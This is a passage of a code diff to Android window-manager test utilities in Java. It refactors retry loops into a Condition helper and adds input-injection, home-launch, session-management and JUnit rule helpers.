+ .addFlags(FLAG_ACTIVITY_NEW_TASK), displayId);
+ assertNotNull(mTestActivity);
+ });
+ }
+
+ private T launchActivityOnDisplay(Intent intent, int displayId) {
+ final Bundle bundle = ActivityOptions.makeBasic()
+ .setLaunchDisplayId(displayId).toBundle();
+ final ActivityMonitor monitor = getInstrumentation()
+ .addMonitor((String) null, null, false);
+ mContext.startActivity(intent.addFlags(FLAG_ACTIVITY_NEW_TASK), bundle);
+ // Wait for activity launch with timeout.
+ mTestActivity = (T) getInstrumentation().waitForMonitorWithTimeout(monitor,
+ ACTIVITY_LAUNCH_TIMEOUT);
+ assertNotNull(mTestActivity);
+ return mTestActivity;
+ }
+
void finishCurrentActivityNoWait() {
if (mTestActivity != null) {
mTestActivity.finishAndRemoveTask();
@@ -415,7 +447,7 @@
}
@Override
- public void close() throws Exception {
+ public void close() {
if (mTestActivity != null && mFinishAfterClose) {
mTestActivity.finishAndRemoveTask();
}
@@ -424,21 +456,20 @@
@Before
public void setUp() throws Exception {
- mContext = getInstrumentation().getContext();
- mAm = mContext.getSystemService(ActivityManager.class);
- mAtm = mContext.getSystemService(ActivityTaskManager.class);
-
pressWakeupButton();
pressUnlockButton();
- pressHomeButton();
+ launchHomeActivityNoWait();
removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
// Clear launch params for all test packages to make sure each test is run in a clean state.
- SystemUtil.callWithShellPermissionIdentity(mClearLaunchParamsCallable);
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> mAtm.clearLaunchParamsForPackages(TEST_PACKAGES));
}
- @After
- public void tearDown() throws Exception {
+ /** It always executes after {@link org.junit.After}. */
+ private void tearDownBase() {
+ mObjectTracker.tearDown(mPostAssertionRule::addError);
+
// Synchronous execution of removeStacksWithActivityTypes() ensures that all activities but
// home are cleaned up from the stack at the end of each test. Am force stop shell commands
// might be asynchronous and could interrupt the stack cleanup process if executed first.
@@ -446,8 +477,16 @@
stopTestPackage(TEST_PACKAGE);
stopTestPackage(SECOND_TEST_PACKAGE);
stopTestPackage(THIRD_TEST_PACKAGE);
- pressHomeButton();
+ launchHomeActivityNoWait();
+ }
+ /**
+ * After home key is pressed ({@link #pressHomeButton} is called), the later launch may be
+ * deferred if the calling uid doesn't have android.permission.STOP_APP_SWITCHES. This method
+ * will resume the temporary stopped state, so the launch won't be affected.
+ */
+ protected void resumeAppSwitches() {
+ SystemUtil.runWithShellPermissionIdentity(ActivityManager::resumeAppSwitches);
}
protected void moveTopActivityToPinnedStack(int stackId) {
@@ -492,31 +531,70 @@
return ComponentName.unflattenFromString(mContext.getResources().getString(resId));
}
- protected void tapOnDisplay(int x, int y, int displayId) {
+ protected void tapOnDisplaySync(int x, int y, int displayId) {
+ tapOnDisplay(x, y, displayId, true /* sync*/);
+ }
+
+
+ private void tapOnDisplay(int x, int y, int displayId, boolean sync) {
final long downTime = SystemClock.uptimeMillis();
- injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId);
+ injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId, sync);
final long upTime = SystemClock.uptimeMillis();
- injectMotion(downTime, upTime, MotionEvent.ACTION_UP, x, y, displayId);
+ injectMotion(downTime, upTime, MotionEvent.ACTION_UP, x, y, displayId, sync);
+
+ mAmWmState.waitForWithWmState(state -> state.getFocusedDisplayId() == displayId,
+ "top focused displayId: " + displayId);
+ // This is needed after a tap in multi-display to ensure that the display focus has really
+ // changed, if needed. The call to syncInputTransaction will wait until focus change has
+ // propagated from WMS to native input before returning.
+ getInstrumentation().getUiAutomation().syncInputTransactions();
}
protected void tapOnCenter(Rect bounds, int displayId) {
final int tapX = bounds.left + bounds.width() / 2;
final int tapY = bounds.top + bounds.height() / 2;
- tapOnDisplay(tapX, tapY, displayId);
+ tapOnDisplaySync(tapX, tapY, displayId);
}
protected void tapOnStackCenter(ActivityManagerState.ActivityStack stack) {
tapOnCenter(stack.getBounds(), stack.mDisplayId);
}
+ protected void tapOnDisplayCenter(int displayId) {
+ final Rect bounds = mAmWmState.getWmState().getDisplay(displayId).getDisplayRect();
+ tapOnDisplaySync(bounds.centerX(), bounds.centerY(), displayId);
+ }
+
+ protected void tapOnDisplayCenterAsync(int displayId) {
+ final Rect bounds = mAmWmState.getWmState().getDisplay(displayId).getDisplayRect();
+ tapOnDisplay(bounds.centerX(), bounds.centerY(), displayId, false /* sync */);
+ }
+
private static void injectMotion(long downTime, long eventTime, int action,
- int x, int y, int displayId) {
+ int x, int y, int displayId, boolean sync) {
final MotionEvent event = MotionEvent.obtain(downTime, eventTime, action,
x, y, 0 /* metaState */);
event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
event.setDisplayId(displayId);
- getInstrumentation().getUiAutomation().injectInputEvent(event, true /* sync */);
+ getInstrumentation().getUiAutomation().injectInputEvent(event, sync);
+ }
+
+ public static void injectKey(int keyCode, boolean longPress, boolean sync) {
+ final long downTime = SystemClock.uptimeMillis();
+ int repeatCount = 0;
+ KeyEvent downEvent =
+ new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, repeatCount);
+ getInstrumentation().getUiAutomation().injectInputEvent(downEvent, sync);
+ if (longPress) {
+ repeatCount += 1;
+ KeyEvent repeatEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
+ KeyEvent.ACTION_DOWN, keyCode, repeatCount);
+ getInstrumentation().getUiAutomation().injectInputEvent(repeatEvent, sync);
+ }
+ KeyEvent upEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
+ KeyEvent.ACTION_UP, keyCode, 0 /* repeatCount */);
+ getInstrumentation().getUiAutomation().injectInputEvent(upEvent, sync);
}
protected void removeStacksWithActivityTypes(int... activityTypes) {
@@ -562,19 +640,15 @@
mAmWmState.waitForValidState(activityName);
}
- private static void waitForIdle() {
+ protected static void waitForIdle() {
getInstrumentation().waitForIdleSync();
}
- /** Returns the set of stack ids. */
- private HashSet<Integer> getStackIds() {
- mAmWmState.computeState(true);
- final List<ActivityManagerState.ActivityStack> stacks = mAmWmState.getAmState().getStacks();
- final HashSet<Integer> stackIds = new HashSet<>();
- for (ActivityManagerState.ActivityStack s : stacks) {
- stackIds.add(s.mStackId);
- }
- return stackIds;
+ static void waitForOrFail(String message, BooleanSupplier condition) {
+ Condition.waitFor(new Condition<>(message, condition)
+ .setRetryIntervalMs(500)
+ .setRetryLimit(20)
+ .setOnFailure(unusedResult -> fail("FAILED because unsatisfied: " + message)));
}
/** Returns the stack that contains the provided task. */
@@ -591,8 +665,17 @@
return null;
}
- protected void launchHomeActivity() {
+ /**
+ * Launches the home activity directly. If there is no specific reason to simulate a home key
+ * (which will trigger stop-app-switches), it is the recommended method to go home.
+ */
+ protected static void launchHomeActivityNoWait() {
executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
+ }
+
+ /** Launches the home activity directly with waiting for it to be visible. */
+ protected void launchHomeActivity() {
+ launchHomeActivityNoWait();
mAmWmState.waitForHomeActivityVisible();
}
@@ -655,7 +738,7 @@
}
public void moveTaskToPrimarySplitScreen(int taskId) {
- moveTaskToPrimarySplitScreen(taskId, false /* showRecents */);
+ moveTaskToPrimarySplitScreen(taskId, false /* showSideActivity */);
}
/**
@@ -678,9 +761,11 @@
if (showSideActivity) {
if (isHomeRecentsComponent) {
// Launch Placeholder Side Activity
- final Activity sideActivity = mSideActivityRule.launchActivity(
- new Intent());
- mAmWmState.waitForActivityState(sideActivity.getComponentName(), STATE_RESUMED);
+ final ComponentName sideActivityName =
+ new ComponentName(mContext, SideActivity.class);
+ mContext.startActivity(new Intent().setComponent(sideActivityName)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ mAmWmState.waitForActivityState(sideActivityName, STATE_RESUMED);
}
// There are two cases when showSideActivity == true:
@@ -765,10 +850,10 @@
new Rect(0, 0, taskWidth, taskHeight)));
}
- protected void resizeStack(int stackId, int stackLeft, int stackTop, int stackWidth,
- int stackHeight) {
- SystemUtil.runWithShellPermissionIdentity(() -> mAtm.resizeStack(stackId,
- new Rect(stackLeft, stackTop, stackWidth, stackHeight)));
+ protected void resizePinnedStack(
+ int stackId, int stackLeft, int stackTop, int stackWidth, int stackHeight) {
+ SystemUtil.runWithShellPermissionIdentity(() -> mAtm.resizePinnedStack(stackId,
+ new Rect(stackLeft, stackTop, stackWidth, stackHeight), false /* animate */));
}
protected void pressAppSwitchButtonAndWaitForRecents() {
@@ -831,14 +916,20 @@
assertTrue(message, mAmWmState.getAmState().hasActivityState(activityName, state));
}
+ protected void waitAndAssertActivityStateOnDisplay(ComponentName activityName, String state,
+ int displayId, String message) {
+ waitAndAssertActivityState(activityName, state, message);
+ assertEquals(message, mAmWmState.getAmState().getDisplayByActivity(activityName),
+ displayId);
+ }
+
public void waitAndAssertTopResumedActivity(ComponentName activityName, int displayId,
String message) {
mAmWmState.waitForValidState(activityName);
mAmWmState.waitForActivityState(activityName, STATE_RESUMED);
final String activityClassName = getActivityName(activityName);
- mAmWmState.waitForWithAmState(state ->
- activityClassName.equals(state.getFocusedActivity()),
- "Waiting for activity to be on top");
+ mAmWmState.waitForWithAmState(state -> activityClassName.equals(state.getFocusedActivity()),
+ "activity to be on top");
mAmWmState.assertSanity();
mAmWmState.assertFocusedActivity(message, activityName);
@@ -852,7 +943,7 @@
mAmWmState.assertFocusedStack("Top activity's stack must also be on top", frontStackId);
mAmWmState.assertVisibility(activityName, true /* visible */);
}
-
+
// TODO: Switch to using a feature flag, when available.
protected static boolean isUiModeLockedToVrHeadset() {
final String output = runCommandAndPrintOutput("dumpsys uimode");
@@ -940,6 +1031,31 @@
.getBoolean(android.R.bool.config_perDisplayFocusEnabled);
}
+ /** @see ObjectTracker#manage(AutoCloseable) */
+ protected HomeActivitySession createManagedHomeActivitySession(ComponentName homeActivity) {
+ return mObjectTracker.manage(new HomeActivitySession(homeActivity));
+ }
+
+ /** @see ObjectTracker#manage(AutoCloseable) */
+ protected ActivitySessionClient createManagedActivityClientSession() {
+ return mObjectTracker.manage(new ActivitySessionClient(mContext));
+ }
+
+ /** @see ObjectTracker#manage(AutoCloseable) */
+ protected LockScreenSession createManagedLockScreenSession() {
+ return mObjectTracker.manage(new LockScreenSession());
+ }
+
+ /** @see ObjectTracker#manage(AutoCloseable) */
+ protected RotationSession createManagedRotationSession() {
+ return mObjectTracker.manage(new RotationSession());
+ }
+
+ /** @see ObjectTracker#manage(AutoCloseable) */
+ protected <T extends Activity> TestActivitySession<T> createManagedTestActivitySession() {
+ return new TestActivitySession<T>();
+ }
+
/**
* Test @Rule class that disables screen doze settings before each test method running and
* restoring to initial values after test method finished.
@@ -994,7 +1110,7 @@
private ComponentName mOrigHome;
private ComponentName mSessionHome;
- public HomeActivitySession(ComponentName sessionHome) {
+ HomeActivitySession(ComponentName sessionHome) {
mSessionHome = sessionHome;
mPackageManager = mContext.getPackageManager();
@@ -1065,7 +1181,7 @@
public LockScreenSession enterAndConfirmLockCredential() {
// Ensure focus will switch to default display. Meanwhile we cannot tap on center area,
// which may tap on input credential area.
- tapOnDisplay(10, 10, DEFAULT_DISPLAY);
+ tapOnDisplaySync(10, 10, DEFAULT_DISPLAY);
waitForDeviceIdle(3000);
SystemUtil.runWithShellPermissionIdentity(() ->
@@ -1095,10 +1211,7 @@
android.os.Process.myUserHandle().getIdentifier())) {
mAmWmState.waitForAodShowing();
} else {
- for (int retry = 1; isDisplayOn(DEFAULT_DISPLAY) && retry <= 5; retry++) {
- logAlways("***Waiting for display to turn off... retry=" + retry);
- SystemClock.sleep(TimeUnit.SECONDS.toMillis(1));
- }
+ Condition.waitFor("display to turn off", () -> !isDisplayOn(DEFAULT_DISPLAY));
}
return this;
}
@@ -1110,7 +1223,7 @@
LockScreenSession unlockDevice() {
// Make sure the unlock button event is send to the default display.
- tapOnDisplay(10, 10, DEFAULT_DISPLAY);
+ tapOnDisplaySync(10, 10, DEFAULT_DISPLAY);
pressUnlockButton();
return this;
@@ -1206,49 +1319,60 @@
@Override
public void set(@NonNull Integer value) {
+ set(value, true /* waitDeviceRotation */);
+ }
+
+ /**
+ * Sets the rotation preference.
+ *
+ * @param value The rotation between {@link android.view.Surface#ROTATION_0} ~
+ * {@link android.view.Surface#ROTATION_270}
+ * @param waitDeviceRotation If {@code true}, it will wait until the display has applied the
+ * rotation. Otherwise it only waits for the settings value has
+ * been changed.
+ */
+ public void set(@NonNull Integer value, boolean waitDeviceRotation) {
// When the rotation is locked and the SystemUI receives the rotation becoming 0deg, it
// will call freezeRotation to WMS, which will cause USER_ROTATION be set to zero again.
// In order to prevent our test target from being overwritten by SystemUI during
// rotation test, wait for the USER_ROTATION changed then continue testing.
final boolean waitSystemUI = value == ROTATION_0 && mPreviousDegree != ROTATION_0;
- if (waitSystemUI) {
+ final boolean observeRotationSettings = waitSystemUI || !waitDeviceRotation;
+ if (observeRotationSettings) {
mRotationObserver.observe();
}
mUserRotation.set(value);
mPreviousDegree = value;
if (waitSystemUI) {
- waitForRotationNotified();
+ Condition.waitFor(new Condition<>("rotation notified",
+ // There will receive USER_ROTATION changed twice because when the device
+ // rotates to 0deg, RotationContextButton will also set ROTATION_0 again.
+ () -> mRotationObserver.count == 2).setRetryIntervalMs(500));
}
- // Wait for settling rotation.
- mAmWmState.waitForRotation(value);
- if (waitSystemUI) {
+ if (waitDeviceRotation) {
+ // Wait for the display to apply the rotation.
+ mAmWmState.waitForRotation(value);
+ } else {
+ // Wait for the settings have been changed.
+ Condition.waitFor(new Condition<>("rotation setting changed",
+ () -> mRotationObserver.count > 0).setRetryIntervalMs(100));
+ }
+
+ if (observeRotationSettings) {
mRotationObserver.stopObserver();
}
}
@Override
- public void close() throws Exception {
+ public void close() {
mThread.quitSafely();
mUserRotation.close();
// Restore accelerometer_rotation preference.
super.close();
}
- private void waitForRotationNotified() {
- for (int retry = 1; retry <= 5; retry++) {
- // There will receive USER_ROTATION changed twice because when the device rotates to
- // 0deg, RotationContextButton will also set ROTATION_0 again.
- if (mRotationObserver.count == 2) {
- return;
- }
- logAlways("waitForRotationNotified retry=" + retry);
- SystemClock.sleep(500);
- }
- logE("waitForRotationNotified skip");
- }
-
private class SettingsObserver extends ContentObserver {
int count;
@@ -1289,8 +1413,7 @@
* @return {@code true} if test device respects settings of locked user rotation mode;
* {@code false} if not.
*/
- protected boolean supportsLockedUserRotation(RotationSession session, int displayId)
- throws Exception {
+ protected boolean supportsLockedUserRotation(RotationSession session, int displayId) {
final int origRotation = getDeviceRotation(displayId);
// Use the same orientation as target rotation to avoid affect of app-requested orientation.
final int targetRotation = (origRotation + 2) % 4;
@@ -1314,6 +1437,14 @@
return INVALID_DEVICE_ROTATION;
}
+ /**
+ * Creates a {#link ActivitySessionClient} instance with instrumentation context. It is used
+ * when the caller doen't need try-with-resource.
+ */
+ public static ActivitySessionClient createActivitySessionClient() {
+ return new ActivitySessionClient(getInstrumentation().getContext());
+ }
+
/** Empties the test journal so the following events won't be mixed-up with previous records. */
protected void separateTestJournal() {
TestJournalContainer.start();
@@ -1407,40 +1538,6 @@
FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
}
- /**
- * Base helper class for retrying validator success.
- */
- private abstract static class RetryValidator {
-
- private static final int RETRY_LIMIT = 5;
- private static final long RETRY_INTERVAL = TimeUnit.SECONDS.toMillis(1);
-
- /**
- * @return Error string if validation is failed, null if everything is fine.
- **/
- @Nullable
- protected abstract String validate();
-
- /**
- * Executes {@link #validate()}. Retries {@link #RETRY_LIMIT} times with
- * {@link #RETRY_INTERVAL} interval.
- *
- * @param waitingMessage logging message while waiting validation.
- */
- void assertValidator(String waitingMessage) {
- String resultString = null;
- for (int retry = 1; retry <= RETRY_LIMIT; retry++) {
- resultString = validate();
- if (resultString == null) {
- return;
- }
- logAlways(waitingMessage + ": " + resultString);
- SystemClock.sleep(RETRY_INTERVAL);
- }
- fail(resultString);
- }
- }
-
static class CountSpec<T> {
static final int DONT_CARE = Integer.MIN_VALUE;
static final int EQUALS = 1;
@@ -1461,13 +1558,13 @@
} else {
switch (rule) {
case EQUALS:
- mMessage = event + " + must equal to " + count;
+ mMessage = event + " must equal to " + count;
break;
case GREATER_THAN:
- mMessage = event + " + must be greater than " + count;
+ mMessage = event + " must be greater than " + count;
break;
case LESS_THAN:
- mMessage = event + " + must be less than " + count;
+ mMessage = event + " must be less than " + count;
break;
default:
mMessage = "Don't care";
@@ -1525,7 +1622,7 @@
static void assertSingleLaunch(ComponentName activityName) {
assertLifecycleCounts(activityName,
- "***Waiting for activity create, start, and resume",
+ "activity create, start, and resume",
1 /* createCount */, 1 /* startCount */, 1 /* resumeCount */,
0 /* pauseCount */, 0 /* stopCount */, 0 /* destroyCount */,
CountSpec.DONT_CARE /* configChangeCount */);
@@ -1533,7 +1630,7 @@
static void assertSingleLaunchAndStop(ComponentName activityName) {
assertLifecycleCounts(activityName,
- "***Waiting for activity create, start, resume, pause, and stop",
+ "activity create, start, resume, pause, and stop",
1 /* createCount */, 1 /* startCount */, 1 /* resumeCount */,
1 /* pauseCount */, 1 /* stopCount */, 0 /* destroyCount */,
CountSpec.DONT_CARE /* configChangeCount */);
@@ -1541,7 +1638,7 @@
static void assertSingleStartAndStop(ComponentName activityName) {
assertLifecycleCounts(activityName,
- "***Waiting for activity start, resume, pause, and stop",
+ "activity start, resume, pause, and stop",
0 /* createCount */, 1 /* startCount */, 1 /* resumeCount */,
1 /* pauseCount */, 1 /* stopCount */, 0 /* destroyCount */,
CountSpec.DONT_CARE /* configChangeCount */);
@@ -1549,7 +1646,7 @@
static void assertSingleStart(ComponentName activityName) {
assertLifecycleCounts(activityName,
- "***Waiting for activity start and resume",
+ "activity start and resume",
0 /* createCount */, 1 /* startCount */, 1 /* resumeCount */,
0 /* pauseCount */, 0 /* stopCount */, 0 /* destroyCount */,
CountSpec.DONT_CARE /* configChangeCount */);
@@ -1557,20 +1654,12 @@
/** Assert the activity is either relaunched or received configuration changed. */
static void assertActivityLifecycle(ComponentName activityName, boolean relaunched) {
- new RetryValidator() {
-
- @Nullable
- @Override
- protected String validate() {
- final String failedReason = checkActivityIsRelaunchedOrConfigurationChanged(
+ Condition.<String>waitForResult(activityName + " relaunched", condition -> condition
+ .setResultSupplier(() -> checkActivityIsRelaunchedOrConfigurationChanged(
getActivityName(activityName),
- TestJournalContainer.get(activityName).callbacks, relaunched);
- if (failedReason != null) {
- return failedReason;
- }
- return null;
- }
- }.assertValidator("***Waiting for valid lifecycle state");
+ TestJournalContainer.get(activityName).callbacks, relaunched))
+ .setResultValidator(failedReasons -> failedReasons == null)
+ .setOnFailure(failedReasons -> fail(failedReasons)));
}
/** Assert the activity is either relaunched or received configuration changed. */
@@ -1607,8 +1696,7 @@
static void assertRelaunchOrConfigChanged(ComponentName activityName, int numRelaunch,
int numConfigChange) {
- new ActivityLifecycleCounts(activityName).assertCountWithRetry(
- "***Waiting for relaunch or config changed",
+ new ActivityLifecycleCounts(activityName).assertCountWithRetry("relaunch or config changed",
countSpec(ActivityCallback.ON_DESTROY, CountSpec.EQUALS, numRelaunch),
countSpec(ActivityCallback.ON_CREATE, CountSpec.EQUALS, numRelaunch),
countSpec(ActivityCallback.ON_CONFIGURATION_CHANGED, CountSpec.EQUALS,
@@ -1616,8 +1704,7 @@
}
static void assertActivityDestroyed(ComponentName activityName) {
- new ActivityLifecycleCounts(activityName).assertCountWithRetry(
- "***Waiting for activity destroyed",
+ new ActivityLifecycleCounts(activityName).assertCountWithRetry("activity destroyed",
countSpec(ActivityCallback.ON_DESTROY, CountSpec.EQUALS, 1),
countSpec(ActivityCallback.ON_CREATE, CountSpec.EQUALS, 0),
countSpec(ActivityCallback.ON_CONFIGURATION_CHANGED, CountSpec.EQUALS, 0));
@@ -1629,16 +1716,11 @@
@Nullable
SizeInfo getLastReportedSizesForActivity(ComponentName activityName) {
- for (int retry = 1; retry <= 5; retry++) {
- final ConfigInfo result = TestJournalContainer.get(activityName).lastConfigInfo;
- if (result != null && result.sizeInfo != null) {
- return result.sizeInfo;
- }
- logAlways("***Waiting for sizes to be reported... retry=" + retry);
- SystemClock.sleep(1000);
- }
- logE("***Waiting for activity size failed: activityName=" + getActivityName(activityName));
- return null;
+ return Condition.waitForResult("sizes of " + activityName + " to be reported",
+ condition -> condition.setResultSupplier(() -> {
+ final ConfigInfo info = TestJournalContainer.get(activityName).lastConfigInfo;
+ return info != null ? info.sizeInfo : null;
+ }).setResultValidator(sizeInfo -> sizeInfo != null));
}
/** Check if a device has display cutout. */
@@ -1655,7 +1737,7 @@
mBroadcastActionTrigger.finishBroadcastReceiverActivity();
mAmWmState.waitForWithAmState(
(state) -> !state.containsActivity(BROADCAST_RECEIVER_ACTIVITY),
- "Waiting for activity to be removed");
+ "activity to be removed");
return displayCutoutPresent;
}
@@ -1666,37 +1748,26 @@
*/
@Nullable
private Boolean getCutoutStateForActivity(ComponentName activityName) {
- final String logTag = getLogTag(activityName);
- for (int retry = 1; retry <= 5; retry++) {
- final Bundle extras = TestJournalContainer.get(activityName).extras;
- if (extras.containsKey(EXTRA_CUTOUT_EXISTS)) {
- return extras.getBoolean(EXTRA_CUTOUT_EXISTS);
- }
- logAlways("***Waiting for cutout state to be reported... retry=" + retry);
- SystemClock.sleep(1000);
- }
- logE("***Waiting for activity cutout state failed: activityName=" + logTag);
- return null;
+ return Condition.waitForResult("cutout state to be reported", condition -> condition
+ .setResultSupplier(() -> {
+ final Bundle extras = TestJournalContainer.get(activityName).extras;
+ return extras.containsKey(EXTRA_CUTOUT_EXISTS)
+ ? extras.getBoolean(EXTRA_CUTOUT_EXISTS)
+ : null;
+ }).setResultValidator(cutoutExists -> cutoutExists != null));
}
/** Waits for at least one onMultiWindowModeChanged event. */
ActivityLifecycleCounts waitForOnMultiWindowModeChanged(ComponentName activityName) {
- int retry = 1;
- ActivityLifecycleCounts result;
- do {
- result = new ActivityLifecycleCounts(activityName);
- if (result.getCount(ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED) >= 1) {
- return result;
- }
- logAlways("***waitForOnMultiWindowModeChanged... retry=" + retry);
- SystemClock.sleep(TimeUnit.SECONDS.toMillis(1));
- } while (retry++ <= 5);
- return result;
+ final ActivityLifecycleCounts counts = new ActivityLifecycleCounts(activityName);
+ Condition.waitFor(counts.countWithRetry("waitForOnMultiWindowModeChanged", countSpec(
+ ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED, CountSpec.GREATER_THAN, 0)));
+ return counts;
}
static class ActivityLifecycleCounts {
- final int[] mCounts = new int[ActivityCallback.SIZE];
- final int[] mLastIndexes = new int[ActivityCallback.SIZE];
+ private final int[] mCounts = new int[ActivityCallback.SIZE];
+ private final int[] mLastIndexes = new int[ActivityCallback.SIZE];
private ComponentName mActivityName;
ActivityLifecycleCounts(ComponentName componentName) {
@@ -1730,20 +1801,30 @@
}
@SafeVarargs
+ final Condition<String> countWithRetry(String message,
+ CountSpec<ActivityCallback>... countSpecs) {
+ if (mActivityName == null) {
+ throw new IllegalStateException(
+ "It is meaningless to retry without specified activity");
+ }
+ return new Condition<String>(message)
+ .setOnRetry(() -> {
+ Arrays.fill(mCounts, 0);
+ Arrays.fill(mLastIndexes, 0);
+ updateCount(TestJournalContainer.get(mActivityName).callbacks);
+ })
+ .setResultSupplier(() -> validateCount(countSpecs))
+ .setResultValidator(failedReasons -> failedReasons == null);
+ }
+
+ @SafeVarargs
final void assertCountWithRetry(String message, CountSpec<ActivityCallback>... countSpecs) {
if (mActivityName == null) {
throw new IllegalStateException(
"It is meaningless to retry without specified activity");
}
- new RetryValidator() {
- @Override
- protected String validate() {
- Arrays.fill(mCounts, 0);
- Arrays.fill(mLastIndexes, 0);
- updateCount(TestJournalContainer.get(mActivityName).callbacks);
- return validateCount(countSpecs);
- }
- }.assertValidator(message);
+ Condition.<String>waitForResult(countWithRetry(message, countSpecs)
+ .setOnFailure(failedReasons -> fail(message + ": " + failedReasons)));
}
@SafeVarargs
@@ -1755,7 +1836,7 @@
if (failedReasons == null) {
failedReasons = new ArrayList<>();
}
- failedReasons.add(spec.mMessage);
+ failedReasons.add(spec.mMessage + " (got " + realCount + ")");
}
}
return failedReasons == null ? null : String.join("\n", failedReasons);
@@ -1781,6 +1862,7 @@
private boolean mNewTask;
private boolean mMultipleTask;
private boolean mAllowMultipleInstances = true;
+ private boolean mLaunchTaskBehind;
private int mDisplayId = INVALID_DISPLAY;
private int mActivityType = ACTIVITY_TYPE_UNDEFINED;
// A proxy activity that launches other activities including mTargetActivityName
@@ -1834,6 +1916,11 @@
return this;
}
+ public LaunchActivityBuilder setLaunchTaskBehind(boolean launchTaskBehind) {
+ mLaunchTaskBehind = launchTaskBehind;
+ return this;
+ }
+
public LaunchActivityBuilder setReorderToFront(boolean reorderToFront) {
mReorderToFront = reorderToFront;
return this;
@@ -1957,13 +2044,13 @@
/** Launch an activity using instrumentation. */
private void launchUsingInstrumentation() {
final Bundle b = new Bundle();
- b.putBoolean(KEY_USE_INSTRUMENTATION, true);
b.putBoolean(KEY_LAUNCH_ACTIVITY, true);
b.putBoolean(KEY_LAUNCH_TO_SIDE, mToSide);
b.putBoolean(KEY_RANDOM_DATA, mRandomData);
b.putBoolean(KEY_NEW_TASK, mNewTask);
b.putBoolean(KEY_MULTIPLE_TASK, mMultipleTask);
b.putBoolean(KEY_MULTIPLE_INSTANCES, mAllowMultipleInstances);
+ b.putBoolean(KEY_LAUNCH_TASK_BEHIND, mLaunchTaskBehind);
b.putBoolean(KEY_REORDER_TO_FRONT, mReorderToFront);
b.putInt(KEY_DISPLAY_ID, mDisplayId);
b.putInt(KEY_ACTIVITY_TYPE, mActivityType);
@@ -2039,13 +2126,74 @@
}
if (mLaunchInjector != null) {
+ commandBuilder.append(" --ez " + KEY_FORWARD + " true");
mLaunchInjector.setupShellCommand(commandBuilder);
}
executeShellCommand(commandBuilder.toString());
}
}
- // Activity used in place of recents when home is the recents component.
+ /**
+ * The actions which wraps a test method. It is used to set necessary rules that cannot be
+ * overridden by subclasses. It executes in the outer scope of {@link Before} and {@link After}.
+ */
+ protected class WrapperRule implements TestRule {
+ private final Runnable mBefore;
+ private final Runnable mAfter;
+
+ protected WrapperRule(Runnable before, Runnable after) {
+ mBefore = before;
+ mAfter = after;
+ }
+
+ @Override
+ public Statement apply(final Statement base, final Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() {
+ if (mBefore != null) {
+ mBefore.run();
+ }
+ try {
+ base.evaluate();
+ } catch (Throwable e) {
+ mPostAssertionRule.addError(e);
+ } finally {
+ if (mAfter != null) {
+ mAfter.run();
+ }
+ }
+ }
+ };
+ }
+ }
+
+ /**
+ * The post assertion to ensure all test methods don't violate the generic rule. It is also used
+ * to collect multiple errors.
+ */
+ private class PostAssertionRule extends ErrorCollector {
+ @Override
+ protected void verify() throws Throwable {
+ if (!sStackTaskLeakFound) {
+ // Skip empty stack/task check if a leakage was already found in previous test, or
+ // all tests afterward would also fail (since the leakage is always there) and fire
+ // unnecessary false alarms.
+ try {
+ mAmWmState.assertEmptyStackOrTask();
+ } catch (Throwable t) {
+ sStackTaskLeakFound = true;
+ addError(t);
+ }
+ }
+ super.verify();
+ }
+ }
+
+ /**
+ * Activity used in place of recents when home is the recents component. It should only be used
+ * by {@link #moveTaskToPrimarySplitScreen}.
+ */
public static class SideActivity extends Activity {
}
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
index 2d524df..21002a4 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
@@ -62,6 +62,18 @@
public static void assumeHasColoredBars() {
final PackageManager pm = getInstrumentation().getContext().getPackageManager();
+ assumeHasBars();
+
+ assumeFalse("Automotive navigation bar is opaque",
+ pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
+ assumeTrue("Only highEndGfx devices have colored system bars",
+ ActivityManager.isHighEndGfx());
+ }
+
+ public static void assumeHasBars() {
+ final PackageManager pm = getInstrumentation().getContext().getPackageManager();
+
assumeFalse("Embedded devices don't have system bars",
getInstrumentation().getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_EMBEDDED));
@@ -69,12 +81,6 @@
assumeFalse("No bars on watches and TVs", pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
|| pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
|| pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
-
- assumeFalse("Automotive navigation bar is opaque",
- pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
-
- assumeTrue("Only highEndGfx devices have colored system bars",
- ActivityManager.isHighEndGfx());
}
private static boolean isRunningInVr() {
@@ -99,10 +105,10 @@
public static boolean isAssumptionViolated(Runnable assumption) {
try {
assumption.run();
- return true;
+ return false;
} catch (AssumptionViolatedException e) {
Log.i("BarTestUtils", "Assumption violated", e);
- return false;
+ return true;
}
}
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
index 468bd30..2079aef 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
@@ -16,8 +16,6 @@
package android.server.wm;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -76,12 +74,12 @@
private static final String EXTRA_PREFIX = "s_";
+ static final String KEY_FORWARD = EXTRA_PREFIX + "key_forward";
+
